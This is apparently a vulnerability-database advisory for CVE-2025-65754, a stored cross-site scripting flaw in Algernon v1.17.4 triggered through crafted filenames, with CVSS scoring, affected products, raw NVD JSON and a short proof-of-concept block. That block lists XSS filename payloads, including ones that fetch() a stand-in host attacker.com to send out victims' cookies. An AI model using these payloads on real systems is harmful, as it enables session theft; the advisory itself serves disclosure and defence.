Security Vulnerability Report
中文
CVE-2025-65754 CVSS 6.1 MEDIUM

CVE-2025-65754

Published: 2025-12-10 18:16:21
Last Modified: 2025-12-30 19:28:14

Description

Cross Site Scripting vulnerability in Algernon v1.17.4 allows attackers to execute arbitrary code via injecting a crafted payload into a filename.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:algernon_project:algernon:1.17.4:*:*:*:*:*:*:* - VULNERABLE
Algernon v1.17.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-65754 PoC - Stored XSS in Algernon filename // Upload a file with malicious filename containing XSS payload // When other users view the file, the XSS will be executed // Example malicious filename: // <script>alert(document.cookie)</script>.txt // <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> // <svg/onload=fetch('http://attacker.com?data='+btoa(document.cookie))> // Attack scenario: // 1. Attacker uploads file with XSS payload in filename // 2. Server stores the file with unsanitized filename // 3. Victim accesses file listing or downloads the file // 4. Victim's browser executes the injected JavaScript // 5. Attacker steals session cookies or performs actions on behalf of victim

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65754", "sourceIdentifier": "[email protected]", "published": "2025-12-10T18:16:21.090", "lastModified": "2025-12-30T19:28:13.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Scripting vulnerability in Algernon v1.17.4 allows attackers to execute arbitrary code via injecting a crafted payload into a filename."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:algernon_project:algernon:1.17.4:*:*:*:*:*:*:*", "matchCriteriaId": "F3F8E1F2-3837-41D4-8195-4B1D36F0FE51"}]}]}], "references": [{"url": "https://gist.github.com/Bnyt7/0faa90ff93c5d98093a0e29a1eb34d81", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/Bnyt7/CVE-2025-65754", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/xyproto/algernon", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gist.github.com/Bnyt7/0faa90ff93c5d98093a0e29a1eb34d81", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/Bnyt7/CVE-2025-65754", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}